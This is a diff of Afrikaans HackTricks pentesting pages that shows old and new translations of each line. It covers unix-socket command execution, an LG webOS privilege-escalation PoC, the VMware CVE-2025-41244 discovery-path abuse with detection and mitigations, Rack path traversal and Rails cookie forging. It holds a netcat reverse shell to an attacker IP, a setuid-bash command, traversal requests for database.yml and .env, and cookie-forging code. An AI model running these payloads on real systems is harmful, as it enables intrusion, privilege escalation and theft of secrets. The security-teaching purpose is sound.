Riglyne: Behandel survivors wat value transfers, accounting, of access control beïnvloed as hoë-risiko totdat hulle killed is.
|
||||||
|
|
||||||
## Praktiese kontrolelys
|
## Praktiese kontrolelys
|
||||||
|
|
||||||
- Voer 'n geteikende veldtog uit:
|
- Voer 'n geteikende veldtog uit:
|
||||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||||
- Sorteer oorlewendes en skryf toetse/invariante wat sou misluk onder die gemuteerde gedrag.
|
- Triage survivors en skryf tests/invariants wat sou misluk onder die gemuteerde gedrag.
|
||||||
- Bevestig balans, totale aanbod, magtigings en gebeure.
|
- Asserteer balances, supply, authorizations, en events.
|
||||||
- Voeg grens-toetse by (`==`, oorvloei/ondervloei, nul-adres, nul-bedrag, leë arrays).
|
- Voeg boundary tests by (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||||
- Vervang onrealistiese mocks; simuleer foutmodusse.
|
- Vervang onrealistiese mocks; simuleer failure modes.
|
||||||
- Herhaal totdat alle mutants vernietig is of met kommentaar en motivering geregverdig is.
|
- Itereer totdat alle mutants killed is, of totdat hulle met kommentaar en rationale geregverdig is.
|
||||||
|
|
||||||
## Verwysings
|
## Verwysings
|
||||||
|
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Socket binding-voorbeeld met Python
|
## Socket binding example with Python
|
||||||
|
|
||||||
In die volgende voorbeeld word 'n **unix socket geskep** (`/tmp/socket_test.s`) en alles wat **ontvang** word, sal deur `os.system` **uitgevoer** word. Ek weet dat jy dit nie in die wild gaan vind nie, maar die doel van hierdie voorbeeld is om te sien hoe kode wat unix sockets gebruik lyk en hoe om die invoer in die slegste moontlike geval te hanteer.
|
In die volgende voorbeeld word 'n **unix socket geskep** (`/tmp/socket_test.s`) en alles wat **ontvang** word, gaan deur `os.system` **uitgevoer** word. Ek weet dat jy dit nie in die natuur gaan vind nie, maar die doel van hierdie voorbeeld is om te sien hoe code wat unix sockets gebruik lyk, en hoe om die input in die slegste moontlike geval te hanteer.
|
||||||
```python:s.py
|
```python:s.py
|
||||||
import socket
|
import socket
|
||||||
import os, os.path
|
import os, os.path
|
||||||
@ -37,17 +37,17 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
|
|||||||
```python
|
```python
|
||||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||||
```
|
```
|
||||||
## Gevalstudie: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
## Gevalstudie: Root-owned UNIX socket sein-geaktiveerde eskalasie (LG webOS)
|
||||||
|
|
||||||
Sommige privileged daemons openbaar 'n root-owned UNIX socket wat untrusted input aanvaar en privileged actions koppel aan thread-IDs en signals. As die protocol 'n unprivileged client toelaat om te beïnvloed watter native thread geteikend word, kan jy moontlik 'n privileged code path trigger en escalate.
|
Sommige bevoorregte daemons maak 'n root-owned UNIX socket beskikbaar wat onbetroubare insette aanvaar en bevoorregte aksies koppel aan thread-IDs en seine. As die protokol 'n onbevoorregde kliënt toelaat om te beïnvloed watter native thread geteiken word, kan jy moontlik 'n bevoorregte kodepad triggreer en eskaleer.
|
||||||
|
|
||||||
Waargenome patroon:
|
Waargenome patroon:
|
||||||
- Verbind met 'n root-owned socket (bv., /tmp/remotelogger).
|
- Connect to a root-owned socket (e.g., /tmp/remotelogger).
|
||||||
- Skep 'n thread en bekom sy native thread id (TID).
|
- Create a thread and obtain its native thread id (TID).
|
||||||
- Stuur die TID (packed) plus padding as 'n request; ontvang 'n acknowledgement.
|
- Send the TID (packed) plus padding as a request; receive an acknowledgement.
|
||||||
- Lewer 'n spesifieke signal aan daardie TID om die privileged behaviour te trigger.
|
- Deliver a specific signal to that TID to trigger the privileged behaviour.
|
||||||
|
|
||||||
Minimal PoC sketch:
|
Minimale PoC-skets:
|
||||||
```python
|
```python
|
||||||
import socket, struct, os, threading, time
|
import socket, struct, os, threading, time
|
||||||
# Spawn a thread so we have a TID we can signal
|
# Spawn a thread so we have a TID we can signal
|
||||||
@ -59,14 +59,14 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
|
|||||||
s.recv(4) # sync
|
s.recv(4) # sync
|
||||||
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||||
```
|
```
|
||||||
Om dit in 'n root shell te omskep, kan 'n eenvoudige named-pipe + nc patroon gebruik word:
|
Om dit in 'n root shell te omskep, kan 'n eenvoudige named-pipe + nc-patroon gebruik word:
|
||||||
```bash
|
```bash
|
||||||
rm -f /tmp/f; mkfifo /tmp/f
|
rm -f /tmp/f; mkfifo /tmp/f
|
||||||
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||||
```
|
```
|
||||||
Aantekeninge:
|
Aantekeninge:
|
||||||
- Hierdie klas foute ontstaan deur vertroue te stel in waardes wat afgelei is van onprivilegieerde kliënttoestand (TIDs) en dit te bind aan bevoorregte signal handlers of logika.
|
- Hierdie klas foute ontstaan deur waardes, afgelei van nie-geprivilegieerde kliënttoestand (TIDs), te vertrou en dit te bind aan geprivilegieerde signal handlers of logika.
|
||||||
- Maak veiliger deur credentials op die socket af te dwing, boodskapformate te valideer, en bevoorregte operasies te ontkoppel van eksterne aangeleverde thread identifiers.
|
- Verhard deur credentials op die socket af te dwing, message formats te valideer, en privileged operations te ontkoppel van externally supplied thread identifiers.
|
||||||
|
|
||||||
## Verwysings
|
## Verwysings
|
||||||
|
|
||||||
|
@ -2,22 +2,22 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Hierdie tegniek misbruik regex-gedrewe service discovery-pipelines wat hardlopende prosesopdraglyne ontleed om diensweergawes af te lei en daarna 'n kandidaat-binary met 'n "version"-vlag uitvoer. Wanneer toegewingpatrone onbetroubare, deur 'n aanvaller beheerde paaie aanvaar (bv. /tmp/httpd), voer die bevoorregte versamelaar 'n ewekansige binary uit vanaf 'n onbetroubare ligging, wat local privilege escalation tot gevolg het. NVISO het dit gedokumenteer in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244.
|
Hierdie tegniek misbruik regex-gedrewe diensontdekking-pyplyne wat lopende proses-opdraglyne ontleed om diensweergawes af te lei en dan 'n kandidaat-binary met 'n "version" vlag uit te voer. Wanneer permissiewe patrone onbetroubare, deur 'n aanvaller beheerde paaie aanvaar (bv. /tmp/httpd), voer die bevoorregte versamelaar 'n ewekansige binary vanaf 'n onbetroubare ligging uit, wat lei tot lokale privilege-eskalasie. NVISO het dit gedokumenteer in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244.
|
||||||
|
|
||||||
- Impak: Local privilege escalation to root (or to the privileged discovery account)
|
- Impact: Lokale privilege-eskalasie na root (of na die bevoorregte discovery-rekening)
|
||||||
- Oorsaak: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
|
- Hoof oorsaak: Onbetroubare Soekpad (CWE-426) + permissiewe regex-ooreenkoms van proses-opdraglyne
|
||||||
- Getroffen: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
- Geaffekteer: open-vm-tools/VMware Tools op Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||||
|
|
||||||
## Hoe VMware service discovery werk (hoë vlak)
|
## How VMware service discovery works (high level)
|
||||||
|
|
||||||
- Credential-based (legacy): Aria voer discovery-skripte binne die guest uit via VMware Tools met geconfigureerde bevoorregte credentials.
|
- Credential-based (legacy): Aria voer discovery-skripte binne die guest uit via VMware Tools met gekonfigureerde bevoorregte credentials.
|
||||||
- Credential-less (modern): Discovery-logika loop binne VMware Tools en het reeds bevoorregte regte in die guest.
|
- Credential-less (modern): Discovery-logika hardloop binne VMware Tools, wat reeds bevoorreg is in die guest.
|
||||||
|
|
||||||
Albei modusse voer uiteindelik shell-logika uit wat prosesse met luisterende sokkette skandeer, 'n pasende opdragpad via 'n regex uithaal, en die eerste argv-token met 'n version-vlag uitvoer.
|
Albei modusse voer uiteindelik shell-logika uit wat prosesse met luisterende sockets deursoek, 'n pasende opdragpad via 'n regex onttrek, en die eerste argv-token met 'n version-vlag uitvoer.
|
||||||
|
|
||||||
## Hoofrede en kwesbare patroon (open-vm-tools)
|
## Root cause and vulnerable pattern (open-vm-tools)
|
||||||
|
|
||||||
In open-vm-tools stem die serviceDiscovery-plugin script get-versions.sh kandidaat-binaries aan deur breë regular expressions te gebruik en voer die eerste token uit sonder enige trusted-path-validasie:
|
In open-vm-tools pas die serviceDiscovery plugin-skrip get-versions.sh kandidaat-binaries aan met breë regular expressions en voer die eerste token uit sonder enige trusted-path verifikasië:
|
||||||
```bash
|
```bash
|
||||||
get_version() {
|
get_version() {
|
||||||
PATTERN=$1
|
PATTERN=$1
|
||||||
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
|||||||
done
|
done
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Dit word aangeroep met permissiewe patrone wat \S (nie-witspasie) bevat en sal maklik nie-stelselpaadjies in gebruikersskryfbare liggings pas:
|
Dit word aangeroep met permissiewe patrone wat \S (nie-witruimte) bevat, en wat maklik nie-stelselspaaie in gebruikers-skryfbare liggings sal pas:
|
||||||
```bash
|
```bash
|
||||||
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||||
get_version "/usr/(bin|sbin)/apache\S*" -v
|
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||||
@ -39,22 +39,22 @@ get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
|||||||
get_version "/\S+/dataserver($|\s)" -v
|
get_version "/\S+/dataserver($|\s)" -v
|
||||||
```
|
```
|
||||||
- Uittrekking gebruik grep -Eo en neem die eerste token: ${COMMAND%%[[:space:]]*}
|
- Uittrekking gebruik grep -Eo en neem die eerste token: ${COMMAND%%[[:space:]]*}
|
||||||
- Geen whitelist/allowlist van vertroude stelselpaaie nie; enige ontdekte listener met 'n ooreenstemmende naam word uitgevoer met -v/--version
|
- Geen whitelist/allowlist van vertroude stelselpade; enige ontdekte listener met 'n ooreenstemmende naam word uitgevoer met -v/--version
|
||||||
|
|
||||||
Dit skep 'n untrusted search path execution primitive: ewekansige binaries wat in world-writable gidsies geleë is (bv. /tmp/httpd) word deur 'n geprivilegieerde komponent uitgevoer.
|
Dit skep 'n onbetroubare soekpad-uitvoering-primitive: arbitrêre binaries geleë in gidse wat deur almal geskryf kan word (bv. /tmp/httpd) word deur 'n bevoorregte komponent uitgevoer.
|
||||||
|
|
||||||
## Exploitation (both credential-less and credential-based modes)
|
## Exploitation (both credential-less and credential-based modes)
|
||||||
|
|
||||||
Voorvereistes
|
Voorvereistes
|
||||||
- Jy kan 'n ongeprivilegieerde proses laat loop wat 'n listening socket op die guest oopmaak.
|
- Jy kan 'n onbevoorregte proses uitvoer wat 'n luistersok op die gas oopmaak.
|
||||||
- Die discovery job is geaktiveer en loop periodiek (tipies elke ~5 minute).
|
- Die ontdekkings-taak is geaktiveer en loop periodiek (histories ~5 minute).
|
||||||
|
|
||||||
Stappe
|
Stappe
|
||||||
1) Plaas 'n binary in 'n pad wat ooreenstem met een van die permissiewe regexes, bv. /tmp/httpd of ./nginx
|
1) Plaas 'n binary in 'n pad wat ooreenstem met een van die permissiewe regexe, bv. /tmp/httpd of ./nginx
|
||||||
2) Laat dit loop as 'n laag-privilegieerde gebruiker en maak seker dit open enige listening socket
|
2) Voer dit as 'n laag-privilegie gebruiker uit en verseker dat dit enige luistersok oopmaak
|
||||||
3) Wag vir die discovery-siklus; die privileged collector sal outomaties uitvoer: /tmp/httpd -v (of soortgelyk), wat jou program as root uitvoer
|
3) Wag vir die ontdekking-siklus; die bevoorregte versamelaar sal outomaties uitvoer: /tmp/httpd -v (of soortgelyk), wat jou program as root laat loop
|
||||||
|
|
||||||
Minimale demo (met NVISO se benadering)
|
Minimale demo (gebruik NVISO se benadering)
|
||||||
```bash
|
```bash
|
||||||
# Build any small helper that:
|
# Build any small helper that:
|
||||||
# - default mode: opens a dummy TCP listener
|
# - default mode: opens a dummy TCP listener
|
||||||
@ -70,56 +70,56 @@ Tipiese prosesafstamming
|
|||||||
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||||
|
|
||||||
Artefakte (credential-based)
|
Artefakte (credential-based)
|
||||||
Herstelde SDMP wrapper scripts onder /tmp/VMware-SDMP-Scripts-{UUID}/ kan direkte uitvoering van die rogue path toon:
|
Herstelde SDMP wrapper-skripte onder /tmp/VMware-SDMP-Scripts-{UUID}/ kan direkte uitvoering van die kwaadwillige pad toon:
|
||||||
```bash
|
```bash
|
||||||
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||||
```
|
```
|
||||||
## Algemeneer die tegniek: regex-gedrewe ontdekkingmisbruik (draagbare patroon)
|
## Generalizing the technique: regex-driven discovery abuse (portable pattern)
|
||||||
|
|
||||||
Baie agents en monitoring-suites implementeer weergawe-/diensontdekking deur:
|
Baie agents en monitoringsuites implementeer weergawe-/diensontdekking deur:
|
||||||
- Opsomming van prosesse met luisterende sockets
|
- Prosesse met luister-sokette op te noem
|
||||||
- Grepping argv/command lines met permissiewe regexes (bv. patrone wat \S bevat)
|
- Grepen van argv/kommando-lyne met permissiewe regexes (bv. patrone wat \S bevat)
|
||||||
- Die gematchte pad uit te voer met 'n goedaardige vlag soos -v, --version, -V, -h
|
- Die gematchte pad uit te voer met 'n skynbaar onskadelike vlag soos -v, --version, -V, -h
|
||||||
|
|
||||||
As die regex onbetroubare paadjies aanvaar en die pad vanaf 'n geprivilegieerde konteks uitgevoer word, kry jy CWE-426 Untrusted Search Path-uitvoering.
|
As die regex onbetroubare paaie aanvaar en die pad uit 'n bevoorregte konteks uitgevoer word, kry jy CWE-426 Untrusted Search Path uitvoering.
|
||||||
|
|
||||||
Abuse recipe
|
Abuse recipe
|
||||||
- Gee jou binary 'n naam soos algemene daemons wat die regex waarskynlik sal pas: httpd, nginx, mysqld, dataserver
|
- Noem jou binêre soos algemene daemons wat die regex waarskynlik sal pas: httpd, nginx, mysqld, dataserver
|
||||||
- Plaas dit in 'n skrywebare gids: /tmp/httpd, ./nginx
|
- Plaas dit in 'n skryfbare gids: /tmp/httpd, ./nginx
|
||||||
- Verseker dit pas die regex en open enige poort om geïnventariseer te word
|
- Maak seker dit pas by die regex en open enige poort om opgetel te word
|
||||||
- Wag vir die geskeduleerde versamelaar; jy kry 'n outomatiese geprivilegieerde aanroep van <path> -v
|
- Wag vir die geskeduleerde versamelaar; jy kry 'n outomatiese bevoorregte aanroep van <path> -v
|
||||||
|
|
||||||
Maskeeringsnota: Dit stem ooreen met MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) om die kans op 'n match en onopgemerktheid te verhoog.
|
Masquerading note: Dit stem ooreen met MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) om die kans op 'n pas en onopvallendheid te verhoog.
|
||||||
|
|
||||||
Reusable privileged I/O relay truuk
|
Reusable privileged I/O relay trick
|
||||||
- Bou jou helper sodat by geprivilegieerde aanroep (-v/--version) dit verbinding maak na 'n bekende rendezvous (bv. 'n Linux abstract UNIX socket soos @cve) en stdio oorbrug na /bin/sh -i. Dit vermy on-disk artefakte en werk oor baie omgewings waar dieselfde binary met 'n vlag heruitgevoer word.
|
- Bou jou helper sodat dit by bevoorregte aanroep (-v/--version) verbind met 'n bekende rendezvous (bv. 'n Linux abstract UNIX socket soos @cve) en stdio na /bin/sh -i oorbrug. Dit vermy op-skyf artefakte en werk oor baie omgewings waar dieselfde binêre her-aanroep word met 'n vlag.
|
||||||
|
|
||||||
## Opsporings- en DFIR-riglyne
|
## Detection and DFIR guidance
|
||||||
|
|
||||||
Opspoornavrae
|
Hunting queries
|
||||||
- Ongewone subprosesse van vmtoolsd of get-versions.sh soos /tmp/httpd, ./nginx, /tmp/mysqld
|
- Ongewone onderliggende prosesse van vmtoolsd of get-versions.sh soos /tmp/httpd, ./nginx, /tmp/mysqld
|
||||||
- Enige uitvoering van nie-stelsel absolute paadjies deur ontdekkingskripte (kyk vir spasies in ${COMMAND%%...} uitbreidings)
|
- Enige uitvoering van nie-stelsel absolute paaie deur discovery-skripte (soek na spasies in ${COMMAND%%...} uitbreidings)
|
||||||
- ps -ef --forest om afstammings-boom te visualiseer: vmtoolsd -> get-versions.sh -> <non-system path>
|
- ps -ef --forest om voorouersbome te visualiseer: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||||
|
|
||||||
Op Aria SDMP (credential-based)
|
On Aria SDMP (credential-based)
|
||||||
- Inspekteer /tmp/VMware-SDMP-Scripts-{UUID}/ vir tydelike skripte en stdout/stderr-artefakte wat uitvoering van aanvallerpaaie toon
|
- Kontroleer /tmp/VMware-SDMP-Scripts-{UUID}/ vir transiente skripte en stdout/stderr-artefakte wat uitvoering van aanvallerpaaie toon
|
||||||
|
|
||||||
Beleid/telemetrie
|
Policy/telemetry
|
||||||
- Alarmeer wanneer geprivilegieerde versamelaars vanaf nie-stelsel voorvoegsels uitvoer: ^/(tmp|home|var/tmp|dev/shm)/
|
- Waarsku wanneer bevoorregte versamelaars vanaf nie-stelsel voorvoegsels uitvoer: ^/(tmp|home|var/tmp|dev/shm)/
|
||||||
- Lêerintegriteitsmonitering op get-versions.sh en VMware Tools-plugins
|
- Lêer-integriteitsmonitering op get-versions.sh en VMware Tools-plugins
|
||||||
|
|
||||||
## Mitigasies
|
## Mitigations
|
||||||
|
|
||||||
- Patch: Pas Broadcom/VMware-opdaterings toe vir CVE-2025-41244 (Tools and Aria Operations SDMP)
|
- Patch: Pas Broadcom/VMware-opdaterings toe vir CVE-2025-41244 (Tools en Aria Operations SDMP)
|
||||||
- Deaktiveer of beperk ontdekking sonder credentials waar moontlik
|
- Deaktiveer of beperk credential-less discovery waar moontlik
|
||||||
- Valideer vertroude paaie: beperk uitvoering tot toegelate gidse (/usr/sbin, /usr/bin, /sbin, /bin) en slegs presiese bekende binaries
|
- Valideer vertroude paaie: beperk uitvoering tot geallowliste gidsies (/usr/sbin, /usr/bin, /sbin, /bin) en slegs presiese bekende binêre
|
||||||
- Vermy permissiewe regexes met \S; verkies geanker, eksplisiete absolute paaie en presiese opdragname
|
- Vermy permissiewe regexes met \S; verkies geankerde, eksplisiete absolute paaie en presiese kommando-name
|
||||||
- Verlaag voorregte vir ontdekkinghelpers waar moontlik; sandbox (seccomp/AppArmor) om impak te verminder
|
- Laat privilegies val vir discovery-helpers waar moontlik; sandbox (seccomp/AppArmor) om impak te verminder
|
||||||
- Monitor en waarsku op vmtoolsd/get-versions.sh wat nie-stelselpaadjies uitvoer
|
- Monitor en waarsku oor vmtoolsd/get-versions.sh wat nie-stelsel paaie uitvoer
|
||||||
|
|
||||||
## Aantekeninge vir verdedigers en implementeerders
|
## Notes for defenders and implementers
|
||||||
|
|
||||||
Veiliger matching- en uitvoerpatroon
|
Veiliger pas- en uitvoerpatroon
|
||||||
```bash
|
```bash
|
||||||
# Bad: permissive regex and blind exec
|
# Bad: permissive regex and blind exec
|
||||||
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
||||||
@ -137,7 +137,7 @@ esac
|
|||||||
```
|
```
|
||||||
## Verwysings
|
## Verwysings
|
||||||
|
|
||||||
- [NVISO – Jy noem dit, VMware eskaleer dit (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
- [NVISO – Jy noem dit, VMware verhoog dit (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||||
- [Broadcom-advies vir CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
- [Broadcom-advies vir CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||||
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
|
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
|
||||||
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
# Ruby Truuks
|
# Ruby Wenke
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -7,45 +7,45 @@
|
|||||||
Soos verduidelik in [this article](https://www.offsec.com/blog/cve-2024-46986/), die oplaai van 'n `.rb`-lêer in sensitiewe gidse soos `config/initializers/` kan lei tot remote code execution (RCE) in Ruby on Rails-toepassings.
|
Soos verduidelik in [this article](https://www.offsec.com/blog/cve-2024-46986/), die oplaai van 'n `.rb`-lêer in sensitiewe gidse soos `config/initializers/` kan lei tot remote code execution (RCE) in Ruby on Rails-toepassings.
|
||||||
|
|
||||||
Wenke:
|
Wenke:
|
||||||
- Ander boot/eager-load plekke wat by app-start uitgevoer word is ook gevaarlik as hulle writeable is (bv. `config/initializers/` is die klassieke een). As jy 'n arbitrary file upload vind wat enige plek onder `config/` beland en later evaluated/required word, kan jy RCE by boot kry.
|
- Ander boot/eager-load-ligginge wat by app-opstart uitgevoer word, is ook riskant as hulle skryfbaar is (bv. `config/initializers/` is die klassieke voorbeeld). As jy 'n arbitrêre lêeroplaai vind wat enige plek onder `config/` beland en later geëvalueer/gelaai word, kan jy RCE tydens opstart verkry.
|
||||||
- Soek na dev/staging builds wat user-controlled files in die container image kopieer waar Rails dit by boot sal laai.
|
- Soek na dev/staging builds wat user-controlled lêers in die container image kopieer waar Rails dit by opstart sal laai.
|
||||||
|
|
||||||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||||||
|
|
||||||
Wanneer 'n toepassing Active Storage gebruik met `image_processing` + `mini_magick`, en nie-vertroude parameters aan image transformation methods deurgee, kan Rails weergawes voor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection toelaat omdat sommige transformation methods per ongeluk standaard toegelaat is.
|
Wanneer 'n aansoek Active Storage gebruik met `image_processing` + `mini_magick`, en onbetroubare parameters aan beeldtransformasie-metodes deurgee, kan Rails-weergawe voor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection toelaat omdat sekere transformasie-metodes per ongeluk standaard toegelaat was.
|
||||||
|
|
||||||
- 'n Kwetsbare patroon lyk soos:
|
- A vulnerable pattern looks like:
|
||||||
```erb
|
```erb
|
||||||
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
||||||
```
|
```
|
||||||
waar `params[:t]` en/of `params[:v]` attacker-controlled is.
|
where `params[:t]` and/or `params[:v]` are attacker-controlled.
|
||||||
|
|
||||||
- Wat om te probeer tydens toetsing
|
- Wat om te probeer tydens toetsing
|
||||||
- Identifiseer eindpunte wat variant/processing opsies, transformation names, of arbitrêre ImageMagick-argumente aanvaar.
|
- Identifiseer enige endpoints wat variant/processing opsies, transformasie-name, of arbitrêre ImageMagick-argumente aanvaar.
|
||||||
- Fuzz `params[:t]` en `params[:v]` vir verdagte foute of uitvoering-newe-effekte. As jy die method name kan beïnvloed of rou argumente kan deurgee wat MiniMagick bereik, kan jy code exec op die image processor host kry.
|
- Fuzz `params[:t]` en `params[:v]` vir verdagte foute of uitvoering-newe-effekte. As jy die metodesnaam kan beïnvloed of rou argumente kan deurgee wat MiniMagick bereik, kan jy code exec op die image processor-host kry.
|
||||||
- As jy slegs read-access tot gegenereerde variants het, probeer blind exfiltration via gemanierde ImageMagick-operasies.
|
- As jy slegs read-access tot gegenereerde variante het, probeer blind exfiltration via vervaardigde ImageMagick-operasies.
|
||||||
|
|
||||||
- Remediëring/detektering
|
- Remediëring/deteksie
|
||||||
- As jy Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sien met Active Storage + `image_processing` + `mini_magick` en user-controlled transformations, beskou dit as exploitable. Raai aan om op te gradeer en streng allowlists vir methods/params af te dwing en 'n geharde ImageMagick-policy te gebruik.
|
- As jy Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 met Active Storage + `image_processing` + `mini_magick` en user-controlled transformasies sien, beskou dit as uitbuitbaar. Raai aan om op te gradeer en streng allowlists vir metodes/params af te dwing en 'n geharde ImageMagick-beleid te implementeer.
|
||||||
|
|
||||||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||||||
|
|
||||||
As die teiken-stack Rack middleware direk of via frameworks gebruik, laat weergawes van `rack` voor 2.2.13, 3.0.14, en 3.1.12 Local File Inclusion via `Rack::Static` toe wanneer `:root` nie gestel/misconfigureer is nie. Gekodeerde traversal in `PATH_INFO` kan lêers onder die proses se werkgids of 'n onverwagte root blootstel.
|
As die teiken-stapel Rack middleware direk of via frameworks gebruik, laat weergawes van `rack` voor 2.2.13, 3.0.14, en 3.1.12 Local File Inclusion via `Rack::Static` toe wanneer `:root` nie gestel is of verkeerd gekonfigureer is. Gekodeerde traversering in `PATH_INFO` kan lêers blootstel onder die proses se werkgids of 'n onverwagte root.
|
||||||
|
|
||||||
- Soek na apps wat `Rack::Static` in `config.ru` of middleware stacks mount. Probeer gekodeerde traversals teen statiese paaie, byvoorbeeld:
|
- Soek na apps wat `Rack::Static` in `config.ru` of middleware-stakke mounte. Probeer gekodeerde traverserings teen statiese paaie, byvoorbeeld:
|
||||||
```text
|
```text
|
||||||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||||||
GET /favicon.ico/..%2f..%2f.env
|
GET /favicon.ico/..%2f..%2f.env
|
||||||
```
|
```
|
||||||
Pas die prefix aan om by die geconfigureerde `urls:` te pas. As die app met lêerininhoud reageer, het jy waarskynlik LFI na enigiets onder die opgeloste `:root`.
|
Pas die prefix aan om by die geconfigureerde `urls:` te pas. As die app met lêerininhoud reageer, het jy waarskynlik LFI na enigiets onder die opgeloste `:root`.
|
||||||
|
|
||||||
- Mitigering: upgrade Rack; verseker dat `:root` slegs na 'n gids met publieke lêers wys en eksplisiet gestel is.
|
- Mitigasie: werk Rack op; maak seker dat `:root` slegs na 'n gids met openbare lêers wys en uitdruklik gestel is.
|
||||||
|
|
||||||
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
## Vervalste/ontsleuteling van Rails cookies wanneer `secret_key_base` is leaked
|
||||||
|
|
||||||
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
|
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
|
||||||
|
|
||||||
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
|
Minimal Ruby om moderne cookies te ontsleutel en weer te her-enkripteer (AES-256-GCM, default in recent Rails):
|
||||||
```ruby
|
```ruby
|
||||||
require 'cgi'
|
require 'cgi'
|
||||||
require 'json'
|
require 'json'
|
||||||
@ -70,13 +70,13 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
|
|||||||
forged = enc.encrypt_and_sign(plain)
|
forged = enc.encrypt_and_sign(plain)
|
||||||
puts "Forged cookie: #{CGI.escape(forged)}"
|
puts "Forged cookie: #{CGI.escape(forged)}"
|
||||||
```
|
```
|
||||||
Aantekeninge:
|
Notas:
|
||||||
- Ouer toepassings mag AES-256-CBC en salts `encrypted cookie` / `signed encrypted cookie` of JSON/Marshal serializers gebruik. Pas salts, cipher en serializer dienooreenkomstig aan.
|
